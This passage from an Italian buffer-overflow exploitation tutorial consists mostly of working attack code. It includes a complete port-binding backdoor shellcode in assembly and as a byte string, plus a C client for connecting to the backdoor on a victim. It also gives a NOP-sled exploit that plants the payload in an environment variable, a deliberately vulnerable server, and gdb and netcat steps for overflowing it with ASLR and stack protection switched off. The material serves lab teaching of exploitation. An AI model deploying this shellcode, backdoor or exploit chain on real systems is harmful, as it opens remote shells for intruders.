struct in_addr sin_addr; // internet address
};
Internet address:
struct in_addr {
in_addr_t s_addr; // address in network byte order
};
Se non avete idea di come in linguaggio assembly possono venire utilizzate utilizzate il
programma seguente per windows per vedere come è in effetti molto semplice:
--------- test09.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
int main(int argc, char *argv[])
{
struct sockaddr_in example;
example.sin_family=2; // short sin_family
example.sin_addr.s_addr=0; // preprocessor s_addr
example.sin_port=0xAAAA; // u_short sin_port
printf("\nsockaddr_in size: %d\nsockaddr_in address: 0x%x\n\n",sizeof(example),example);
system("PAUSE");
}
--------- test09.c END ---------------------
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 31 di 193
// now, compile and disassemble the exe file.
// next, we look for struct sockaddr_in structure in stack
come si vedrà lavorare con le strutture in assembly non è poi così difficile, il concetto di
struttura del C viene praticamente perso.
Procediamo come solito alla compilazione e al disassemblaggio dell'eseguibile per vedere le
operazioni a basso livello che dovremo riscriverci in assembly; ricordatevi le opportune opzioni
per il compilatore, vedo di inserirvi dei commenti.
root@HackLab:# gcc -ggdb -static test08.c -o test
root@HackLab:# gdb test
Dump of assembler code for function main:
****************************************************
// Prologo di main
0x08048230 <main+0>: lea 0x4(%esp),%ecx
0x08048234 <main+4>: and $0xfffffff0,%esp
0x08048237 <main+7>: pushl -0x4(%ecx)
****************************************************
// Salvataggio del frame pointer nello stack subito dopo l'indirizzo di ritorno
0x0804823a <main+10>: push %ebp
0x0804823b <main+11>: mov %esp,%ebp
****************************************************
// fork()
0x0804823d <main+13>: push %ecx
0x0804823e <main+14>: sub $0x14,%esp
0x08048241 <main+17>: call 0x804e580 <fork>
****************************************************
// socket()
0x08048246 <main+22>: test %eax,%eax
0x08048248 <main+24>: jne 0x804833c <main+268>
0x0804824e <main+30>: movw $0x2,0x80c6068
0x08048257 <main+39>: movl $0x0,0x80c606c
0x08048261 <main+49>: movw $0xaaaa,0x80c606a
0x0804826a <main+58>: movl $0x6,0x8(%esp)
0x08048272 <main+66>: movl $0x1,0x4(%esp)
0x0804827a <main+74>: movl $0x2,(%esp)
0x08048281 <main+81>: call 0x804f770 <socket>
****************************************************
// bind()
0x08048286 <main+86>: mov %eax,0x80c6078
0x0804828b <main+91>: mov $0x80c6068,%eax
0x08048290 <main+96>: mov 0x80c6078,%edx
0x08048296 <main+102>: movl $0x10,0x8(%esp)
0x0804829e <main+110>: mov %eax,0x4(%esp)
0x080482a2 <main+114>: mov %edx,(%esp)
0x080482a5 <main+117>: call 0x804f670 <bind>
****************************************************
// listen()
0x080482aa <main+122>: mov 0x80c6078,%eax
0x080482af <main+127>: movl $0x1,0x4(%esp)
0x080482b7 <main+135>: mov %eax,(%esp)
0x080482ba <main+138>: call 0x804f6f0 <listen>
****************************************************
// accept()
0x080482bf <main+143>: mov 0x80c6078,%eax
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 32 di 193
0x080482c4 <main+148>: movl $0x0,0x8(%esp)
0x080482cc <main+156>: movl $0x0,0x4(%esp)
0x080482d4 <main+164>: mov %eax,(%esp)
0x080482d7 <main+167>: call 0x804f610 <accept>
***************************************************
// dup2()
0x080482dc <main+172>: mov %eax,0x80c6064
0x080482e1 <main+177>: mov 0x80c6064,%eax
0x080482e6 <main+182>: movl $0x0,0x4(%esp)
0x080482ee <main+190>: mov %eax,(%esp)
0x080482f1 <main+193>: call 0x804ead0 <dup2>
***************************************************
// dup2()
0x080482f6 <main+198>: mov 0x80c6064,%eax
0x080482fb <main+203>: movl $0x1,0x4(%esp)
0x08048303 <main+211>: mov %eax,(%esp)
0x08048306 <main+214>: call 0x804ead0 <dup2>
***************************************************
// dup2()
0x0804830b <main+219>: mov 0x80c6064,%eax
0x08048310 <main+224>: movl $0x2,0x4(%esp)
0x08048318 <main+232>: mov %eax,(%esp)
0x0804831b <main+235>: call 0x804ead0 <dup2>
***************************************************
// execve()
0x08048320 <main+240>: movl $0x0,0x8(%esp)
0x08048328 <main+248>: movl $0x0,0x4(%esp)
0x08048330 <main+256>: movl $0x80a6848,(%esp)
0x08048337 <main+263>: call 0x804e810 <execve>
***************************************************
// Epilogo di main
0x0804833c <main+268>: add $0x14,%esp
0x0804833f <main+271>: pop %ecx
0x08048340 <main+272>: pop %ebp
0x08048341 <main+273>: lea -0x4(%ecx),%esp
0x08048344 <main+276>: ret
End of assembler dump.
Dopo un pò di pratica nello scrivere shellcode, mi è venuto quasi naturale scrivere le
istruzioni assembly già ottimizzate senza byte nulli.
Il seguente è il codice assembly in sintassi AT&T.
--------- sh_port_binding.S ------------------------
// sh port Binding backdoor by Matteo Tosato - Febbraio 2010
.text
.globl main
main:
xor %eax, %eax // Azzero EAX
mov $0x2, %al // Sistemo 2 (_NR_fork) in AL
int $0x80 // fork()
test %eax, %eax // if(fork() == 0), il processo figlio
je DEAMON // salta la exit()
xorl %ebx, %ebx // La solita exit(0)
movl %ebx, %eax
incl %eax
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 33 di 193
int $0x80 // Termino il processo padre
// Le chiamate a socket(), bind() e le altre che trattano i socket in assembly devono
// essere chiamate utilizzando la funzione di famiglia principale socketcall, la sintassi è:
// int socketcall(int call, unsigned long *args)
// dove il primo argomento è un numero che identifica la funzione.
// Quelle che ci interessano sono:
// socket(1),bind(2),listen(4) e accept(5). Il secondo argomento è un puntatore agli
// argomenti effettivi della funzione, da allocare nello stack.
DEAMON:
xorl %ecx, %ecx
xorl %eax, %eax
xorl %ebx, %ebx
pushl %ecx //
pushl $0x6 // IPPROTO_TCP
pushl $0x1 // SOCK_STREAM
pushl $0x2 // AF_INET
movl %esp, %ecx // *args in ECX
movb $0x1, %bl // n° socketcall socket
mov $0x66, %al // Sistemo 102 (_NR_socketcall) in AL
int $0x80 // interrupt socket()
movl %eax, %ecx // sposto il socket ritornato in ECX
xorl %eax, %eax // Azzero EAX
xorl %ebx, %ebx // Azzero EBX
pushl %eax // 0
pushl %eax // 0
pushl %eax // 0
pushw $0xaaaa // porta = 43690
movb $0x2, %bl // sin_family = 2
pushw %bx //
movl %esp, %edx // Cima dello stack in EDX
movb $0x10, %bl // 3° arg, dimensione della struttura ovvero 16 bytes
pushl %ebx // 3° arg. nello stack - dim. sockaddr_in
movb $0x2, %bl // n° socketcall bind
pushl %edx // 2° arg. nello stack - sockaddr_in
pushl %ecx // 1° arg, socket - socket
movl %ecx, %edx // Copio socket in edx, per dopo
movl %esp, %ecx // Posiziono puntatore arg.
movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL
int $0x80 // bind()
xorl %ebx, %ebx // effettuo un controllo sul risultato di bind()
cmpl %eax, %ebx // se bind termina con successo salto a "SKIP_EXIT"
je SKIP_EXIT // altrimenti esco
xorl %ebx, %ebx // Azzero EAX
mov %ebx, %eax // Copio 0 in EBX
inc %eax // Incremento EAX
int $0x80 // interrupt exit()
SKIP_EXIT:
xorl %eax, %eax // Azzero EAX
incl %eax // Incremento EAX, (EAX = 1)
pushl %eax // 2° arg. - max numero di client in coda
pushl %edx // 1° arg. - socket
movl %esp, %ecx // Posiziono puntatore arg.
movb $0x4, %bl // n° socketcall listen
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 34 di 193
movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL
int $0x80 // interrupt listen()
xorl %eax, %eax // Azzero...
xorl %ebx, %ebx
pushl %eax // 0 nello stack, 2° arg. di accept()
pushl %eax // 0 nello stack, 3° arg. di accept()
pushl %edx // socket, 1° arg.
movl %esp, %ecx // Posiziono puntatore arg.
movb $0x5, %bl // n° socketcall accept
movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL
int $0x80 // interrupt accept()
movl %eax, %ebx // New socket
// int dup2(int oldfd, int newfd);
xorl %eax, %eax // Azzero EAX
xorl %ecx, %ecx // Azzero ECX, il 2° argomento di dup2 (stdin)
push $0x3f //
pop %eax // Sistemo 63 (_NR_dup2) in AL
int $0x80 // interrupt dup2()
xorl %eax, %eax // Azzero EAX
incl %ecx // ora stdout
push $0x3f //
pop %eax // Sistemo 63 (_NR_dup2) in AL
int $0x80 // interrupt dup2()
xorl %eax, %eax // Azzero EAX
incl %ecx // ora stderr
push $0x3f //
pop %eax // Sistemo 63 (_NR_dup2) in AL
int $0x80 // interrupt dup2()
// int execve(const char *filename, char *const argv[], char *const envp[]);
xorl %eax, %eax // Azzero eax
push $0x2f68732f // Inserisco la codifica di "/sh/" nello stack
push $0x6e69622f // Inserisco la codifica di "/bin" nello stack
movl %esp, %ebx // Prelevo dallo stack l'indirizzo della stringa "/bin/sh/"
mov %al, 0x7(%ebx) // Inserisco il byte terminatore di stringa alla fine
// ottenendo cosi la stringa C regolare: "/bin/sh\0"
push %eax // Inserisco eax nello stack
push %ebx // Inserisco ebx nello stack la stringa
mov %esp, %ecx // Prelevo dallo stack e posiziono in ecx la stringa
cltd // converte una Dword in una Qword, lasciata in EDX:EAX
mov $0xb, %al // Muovo il valore 11 dec. in eax (sys_call execve() )
int $0x80 // Interrupt execve()
xorl %ebx, %ebx // Azzero eax
mov %ebx, %eax // Copio 0 in ebx
inc %eax // Incremento eax
int $0x80 // interrupt exit()
--------- sh_port_binding.S END ------------------------
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 35 di 193
Ora compiliamo il nuovo sorgente creando il file oggetto, successivamente utilizziamo objdump
per ricavare nel modo solito gli opcode, facendo attenzione che non vi siamo byte nulli.
(ricordatevi di testare l'assembly!!)
In tal caso occorre cambiare le istruzioni che li hanno generati e rifare il procedimento.
root@HackLab:# gcc -s -c sh_port_binding.S
root@HackLab:# objdump -d sh_port_binding.o
sh_port_binding.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: 31 c0 xor %eax,%eax
2: b0 02 mov $0x2,%al
4: cd 80 int $0x80
6: 85 c0 test %eax,%eax
8: 74 07 je 11 <DEAMON>
a: 31 db xor %ebx,%ebx
c: 89 d8 mov %ebx,%eax
e: 40 inc %eax
f: cd 80 int $0x80
00000011 <DEAMON>:
11: 31 c9 xor %ecx,%ecx
13: 31 c0 xor %eax,%eax
15: 31 db xor %ebx,%ebx
17: 51 push %ecx
18: 6a 06 push $0x6
1a: 6a 01 push $0x1
1c: 6a 02 push $0x2
1e: 89 e1 mov %esp,%ecx
20: b3 01 mov $0x1,%bl
22: b0 66 mov $0x66,%al
24: cd 80 int $0x80
26: 89 c1 mov %eax,%ecx
28: 31 c0 xor %eax,%eax
2a: 31 db xor %ebx,%ebx
2c: 50 push %eax
2d: 50 push %eax
2e: 50 push %eax
2f: 66 68 aa aa pushw $0xaaaa
33: b3 02 mov $0x2,%bl
35: 66 53 push %bx
37: 89 e2 mov %esp,%edx
39: b3 10 mov $0x10,%bl
3b: 53 push %ebx
3c: b3 02 mov $0x2,%bl
3e: 52 push %edx
3f: 51 push %ecx
40: 89 ca mov %ecx,%edx
42: 89 e1 mov %esp,%ecx
44: b0 66 mov $0x66,%al
46: cd 80 int $0x80
48: 31 db xor %ebx,%ebx
4a: 39 c3 cmp %eax,%ebx
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 36 di 193
4c: 74 07 je 55 <SKIP_EXIT>
4e: 31 db xor %ebx,%ebx
50: 89 d8 mov %ebx,%eax
52: 40 inc %eax
53: cd 80 int $0x80
00000055 <SKIP_EXIT>:
55: 31 c0 xor %eax,%eax
57: 40 inc %eax
58: 50 push %eax
59: 52 push %edx
5a: 89 e1 mov %esp,%ecx
5c: b3 04 mov $0x4,%bl
5e: b0 66 mov $0x66,%al
60: cd 80 int $0x80
62: 31 c0 xor %eax,%eax
64: 31 db xor %ebx,%ebx
66: 50 push %eax
67: 50 push %eax
68: 52 push %edx
69: 89 e1 mov %esp,%ecx
6b: b3 05 mov $0x5,%bl
6d: b0 66 mov $0x66,%al
6f: cd 80 int $0x80
71: 89 c3 mov %eax,%ebx
73: 31 c0 xor %eax,%eax
75: 31 c9 xor %ecx,%ecx
77: 6a 3f push $0x3f
79: 58 pop %eax
7a: cd 80 int $0x80
7c: 31 c0 xor %eax,%eax
7e: 41 inc %ecx
7f: 6a 3f push $0x3f
81: 58 pop %eax
82: cd 80 int $0x80
84: 31 c0 xor %eax,%eax
86: 41 inc %ecx
87: 6a 3f push $0x3f
89: 58 pop %eax
8a: cd 80 int $0x80
8c: 31 c0 xor %eax,%eax
8e: 68 2f 73 68 2f push $0x2f68732f
93: 68 2f 62 69 6e push $0x6e69622f
98: 89 e3 mov %esp,%ebx
9a: 88 43 07 mov %al,0x7(%ebx)
9d: 50 push %eax
9e: 53 push %ebx
9f: 89 e1 mov %esp,%ecx
a1: 99 cltd
a2: b0 0b mov $0xb,%al
a4: cd 80 int $0x80
a6: 31 db xor %ebx,%ebx
a8: 89 d8 mov %ebx,%eax
aa: 40 inc %eax
ab: cd 80 int $0x80
A questo punto possiamo ricavarci gli opcode. Mettiamo tutto in un array e testiamo con un
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 37 di 193
puntatore a funzione.
--------- test0A.c ------------------------
// Test for cntpb_sh
#include <stdio.h>
char array[] =
“\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80”
“\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01”
“\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa”
“\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52\x51\x89\xca\x89\xe1”
“\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80”
“\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb”
“\x50\x50\x52\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9”
“\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a”
“\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89”
“\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8”
“\x40\xcd\x80";
void main()
{
printf(“Port binding 43690 BACKDOOR,\n”
“by Matteo Tosato - Febbraio 2010 - code size: %d",sizeof(array));
printf("\n\n");
(*(void(*)()) array)();
}
--------- test0A.c END ---------------------
La backdoor rimane muta sul sistema vittima perchè tutti gli stream standard sono stati chiusi
dalle fuzioni dup2().
Una volta fatto eseguire controlliamo che sia in esecuzione veramente controllando il processo
con:
root@HackLab:# ps -A | test0A
Se è tutto ok, significa che vi sarà un socket in ascolto alla porta 43690. Con un semplice
client possiamo collegarci:
--------- client.c ------------------------
// Client per backdoor Matteo Tosato, Febbraio 2010.
// Utilizzare questo client per connettersi alla backdoor installata sulla vittima attraverso
l'exploit.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/select.h>
#include <unistd.h>
#include <netdb.h>
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 38 di 193
#define BUFF_SIZE 2048
#define PORT 43690
//MACROs:
#define MAX(a,b) ((a)>(b)?(a):(b))
// functions prototypes:
void prompt(FILE*,int); //socket I/O management
int main(int argc, char *argv[])
{
if(argc < 1) {fprintf(stderr,"Name Host required!\n"); exit(-1);}
int sock;
char*host = argv[1];
struct sockaddr_in myaddr;
struct hostent* he;
// **** Resolving Hostname **********************
if((he = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
// ************************************************
myaddr.sin_family = AF_INET;
myaddr.sin_addr = *((struct in_addr *)he->h_addr);
myaddr.sin_port = PORT;
if((sock = socket(AF_INET,SOCK_STREAM,0)) <= 0) {perror("socket"); return(-1);}
if(connect(sock,(struct sockaddr *)&myaddr,sizeof(myaddr)) == -1)
{
perror("connect");
return(-1);
}
prompt(stdin,sock);
}
void
prompt(FILE* fp, int sock)
{
int maxfd;
char send_buffer[BUFF_SIZE], recv_buffer[BUFF_SIZE];
fd_set rset;
printf("\n ***** Client for backdoor v1.0 by Tosato Matteo - Febbraio 2010 ****** \n$ ");
FD_ZERO(&rset);
while(1)
{
FD_SET(fileno(fp),&rset);
FD_SET(sock,&rset);
maxfd = MAX(fileno(fp),sock)+1;
select(maxfd,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
memset(recv_buffer,0,sizeof(recv_buffer));
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 39 di 193
if(read(sock,recv_buffer,BUFF_SIZE) <= 0)
{
perror("read");
exit(-1);
}
fprintf(stdout,"%s\n$ ",recv_buffer);
fflush(stdout);
}
if(FD_ISSET(fileno(fp),&rset))
{
memset(send_buffer,0,sizeof(send_buffer));
if(fgets(send_buffer,BUFF_SIZE,fp) == NULL)
return;
if(write(sock,send_buffer,strlen(send_buffer)+1) <= 0)
{
perror("write");
exit(-1);
}
}
}
}
--------- client.c END ---------------------
Può capitare delle volte che il buffer che abbiamo a disposizione sia troppo piccolo, difatti la
nostra chellcode in questo caso è parecchio grande.
Per ovviare a questo problema possono essere utilizzate le variabili d'ambiente del sistema.
Il seguente esempio mostra un exploit sempre locale che sfrutta questa tecnica,
--------- test0B.c ------------------------
#include <stdio.h>
#define LARGE_SIZE 612
char large[LARGE_SIZE];
char shellcode[]=
// Port binding shellcode by Matteo Tosato - Febbraio 2010
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb”
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 40 di 193
“\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01”
“\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb”
“\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53”
“\xb3\x02\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3”
“\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc0\x40\x50\x52\x89\xe1”
“\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52\x89\xe1\xb3”
“\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80”
“\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80”
“\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43"
"\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\x90\x90\x90”;
long get_sp() { __asm__("movl %esp, %eax"); }
void main(int argc, char*argv[])
{
system("clear");
int h;
long *large_ptr = (long*)large;
int offset = atoi(argv[1]);
long ptr = get_sp() - offset; // offset tra ESP e buffer small
printf("\nUsing address: 0x%X\n",ptr);
for(h=0;h<sizeof(large);h+=4)
*(large_ptr++) = ptr;
for(h=0;h<strlen(shellcode);h++)
large[h] = shellcode[h];
large[LARGE_SIZE-1] = '\0';
memcpy(large,"EGG=",4);
putenv(large);
system("/bin/sh");
}
--------- test0B.c END ---------------------
0x09] (Arch: LINUX) - Esempio exploit remoto
Up
Vediamo di concretizzare. Le basi le abbiamo affrontate. Ora vediamo come può essere eseguito un
exploit nella realtà.
Abbiamo sempre e solo visto exploit locali. Il concetto di vulnerabilità rimane lo stesso.
Occorre trovare nell'applicazione un punto in cui l'exploit è possibile, una vulnerabilità.
Abbiamo già visto di cosa si tratta.
Noi vedremo il caso più semplice, ovvero immaginiamo di avere in mano i sorgenti
dell'applicazione vulnerabile. Nella realtà non è sempre così, molti software sono distribuiti
già compilati ed i sorgenti non sono di pubblico dominio.
Per ora vedrò di realizzare un server multithreaded che non offre nessun servizio. Ci serve solo
abbia un problema di possibile buffer overflow. I dati da inviare verso il server nel punto in
cui la vulnerabilità è sfruttabile si costituiscono di tre parti:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 41 di 193
- La sequenza di NOP
- La shellcode
- L'indirizzo di ritorno
Come sapete, l'indirizzo di ritorno inserito nel buffer di attacco dovrà andare a sovrascrivere
il return address di qualche funzione salvato nello stack.
Questa è l'operazione più complessa. Sapere anche solo approssimatamente il valore assunto da
questo indirizzo sull'host remoto è molto difficile.
Una buona analisi dell'obiettivo può permetterci di individuare la versione di software e
sistema operativo remoto. Questo aumenta le nostre possibilità di successo perchè ci permette di
poter riprodurre a casa nostra un obiettivo il più simile possibile e effettuare un'analisi
profonda ed un debug accurato.
Ma veniamo al nostro server,
Questo possiede una vulnerabilità causata dall'utilizzo errato delle dimensioni di due buffer.
La sovrascrittura si verifica in prossimità della solita funzione strcpy()
Il codice:
--------- main.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <pthread.h>
/*
This is a vulnerable server.
This server contains strcpy() bug.
Try to exploiting!
Happy Hacking!
Matteo Tosato
*/
#define DEST_BUFFER_SIZE 256
#define WRONG_DEST_BUFFER_SIZE 1024 // << -- Uch!
#define NUM_THREADS 10
char recv_buffer[WRONG_DEST_BUFFER_SIZE];
int threads_iterator = 10;
pthread_mutex_t mutex;
inline unsigned long get_esp() { __asm__("movl %esp, %eax"); }
void function_copystring(void*threadid);
int main(int argc, char*argv[])
{
/*
* Mutlithreaded server without real services.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 42 di 193
* Server will send a welcome message to client.
*/
if(argc != 2) {
fprintf(stderr,"Arguments wrong!\n");
exit(-1);
}
unsigned short port = atoi(argv[1]);
if((port < 1) || (port > 65535)) {
fprintf(stderr,"Port number not valid!\n");
}
struct sockaddr_in client;
struct sockaddr_in localhost;
int sock_fd,temp_fd, address_size;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(port);
localhost.sin_addr.s_addr = INADDR_ANY;
sock_fd = socket(AF_INET,SOCK_STREAM,0);
if(sock_fd < 0) {
fprintf(stderr,"Socket() fail!\n");
exit(-1);
}
if(bind(sock_fd,(struct sockaddr *)&localhost, sizeof(localhost)) < 0) {
fprintf(stderr,"bind() fail!\n");
exit(-1);
}
listen(sock_fd,10);
pthread_mutex_init(&mutex, NULL);
pthread_t threads[NUM_THREADS];
while(1)
{
if((temp_fd = accept(sock_fd,(struct sockaddr*)&client, &address_size)) < 0)
{
fprintf(stderr,"Accept() fail!\n");
exit(-1);
}
pthread_mutex_lock(&mutex);
if(!(threads_iterator > 0))
{
pthread_mutex_unlock(&mutex);
fprintf(stderr,"Server busy. Not thread available!\n");
close(temp_fd);
continue;
}
pthread_create(&threads[threads_iterator],NULL,(void*)(function_copystring),(void*)temp_fd);
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 43 di 193
threads_iterator--;
pthread_mutex_unlock(&mutex);
close(temp_fd);
}
}
void function_copystring(void*threadid)
{
printf("ESP: %08X\n",get_esp());
char buffer[DEST_BUFFER_SIZE];
int fd = (int)threadid;
if(recv(fd,recv_buffer,WRONG_DEST_BUFFER_SIZE,0) < 0)
{
fprintf(stderr,"Recv() fail!\n");
pthread_mutex_lock(&mutex);
threads_iterator++;
pthread_mutex_unlock(&mutex);
return;
}
strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);
// 768 bytes will overwrite stack
char welcome_msg[] = "Welcome to remote server\n";
welcome_msg[strlen(welcome_msg)-1] = '\0';
memcpy((void*)buffer,(void*)welcome_msg,strlen(welcome_msg));
if(send(fd,buffer,sizeof(buffer),0) < 0)
{
fprintf(stderr,"Send() fail!\n");
pthread_mutex_lock(&mutex);
threads_iterator++;
pthread_mutex_unlock(&mutex);
return;
}
}
--------- main.c END ---------------------
Il thread che si avvia quando arriva una connessione combina un pasticcio, sovrascrive lo stack
fino a 768 bytes.
Quello che dobbiamo fare è fingerci un client, connetterci ed inviare il payload.
Se abbiamo fatto giusti i calcoli;
- il server crea un nuovo thread per noi,
- riceve il payload, durante la copia questo sovrascrive lo stack,
- il payload viene eseguito restituendo una shell che si mette in ascolto sulla porta 43690.
Prima di vedere come inviare i dati in modo agevole senza dover scrivere un client apposito,
dobbiamo trovare l'indirizzo presunto da dove la nostra shellcode verrà copiata. Questo è il
punto più delicato e più difficoltoso dell'operazione. Il fatto che possiamo debuggare il
programma obiettivo lo definirei già un lusso.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 44 di 193
Utilizzeremo gdb;
Caratteristiche del mio ambiente: [uname -a]
Linux HackLab 2.6.30.9 #1 SMP Tue Dec 1 21:51:08 EST 2009 i686 GNU/Linux
(L'analisi seguente cambia da sistema a sistema)
Per prima cosa disattiviamo la randomizzazione dello stack abilitata di default sugli ultimi
kernel, non ci poniamo ora il problema di come aggirare il sistema di sicurezza,
root@HackLab:~# echo 0 > /proc/sys/kernel/randomize_va_space
Compiliamo il server disattivando stackguard e senza marcare lo stack in sola lettura, (Questi
sono tutti sistemi di sicurezza che ci renderebbero la vita più difficile, vedremo più avanti la
questione)
root@HackLab:~# gcc -ggdb -pthread -fno-stack-protector -z execstack -o VulnServer main.c
Iniziamo il debug,
root@HackLab:~# gdb VulnServer
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Settiamo un breakpoint sulla strcpy() incriminata, ed uno nel punto appena precedente al ritorno
della funzione.
(gdb) break 115
Breakpoint 1 at 0x8048b95: file main.c, line 115.
(strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);)
(gdb) break 130
Breakpoint 2 at 0x8048cae: file main.c, line 130. (fine della funzione copystring)
Avviamo il server sulla porta 65535,
(gdb) run 65535
Starting program: /media/MATTEO-1/Hack_environment/Linux/Demonstrations/VulnServer/VulnServer
65535
[Thread debugging using libthread_db enabled]
Il server è in ascolto.
Dobbiamo connetterci ed inviare qualcosa per arrivare al breakpoint, utilizziamo netcat per
falsificare una connessione client e inviare dei dati:
root@HackLab:~# echo "vrfy `perl -e print "A" x 1000`" | nc 192.168.0.102 65535
Utilizzando il perl inviamo 1024 byte di dati, siamo ora prima della funzione strcpy();
recuperiamo un pò di informazioni:
[New Thread 0xb7e556b0 (LWP 12431)]
[New Thread 0xb7e54b90 (LWP 12437)]
ESP: B7E54284
[Switching to Thread 0xb7e54b90 (LWP 12437)]
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 45 di 193
Breakpoint 1, function_copystring (threadid=0x7) at main.c:115
115 strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);
(gdb) print &buffer
$1 = (char (*)[256]) 0xb7e542c4
L'indirizzo virtuale di buffer è 0xb7e542c4. Annotiamolo.
Proseguiamo con il programma, l'esecuzione si fermerà sul breakpoint numero 2.
(gdb) continue
Continuing.
Send() fail!
Breakpoint 2, function_copystring (threadid=0x0) at main.c:130
130 }
Send() fallisce. Questo è corretto abbiamo usato netcat, non siamo il client.
Diamo un occhio allo stack,
(gdb) x/20 $esp
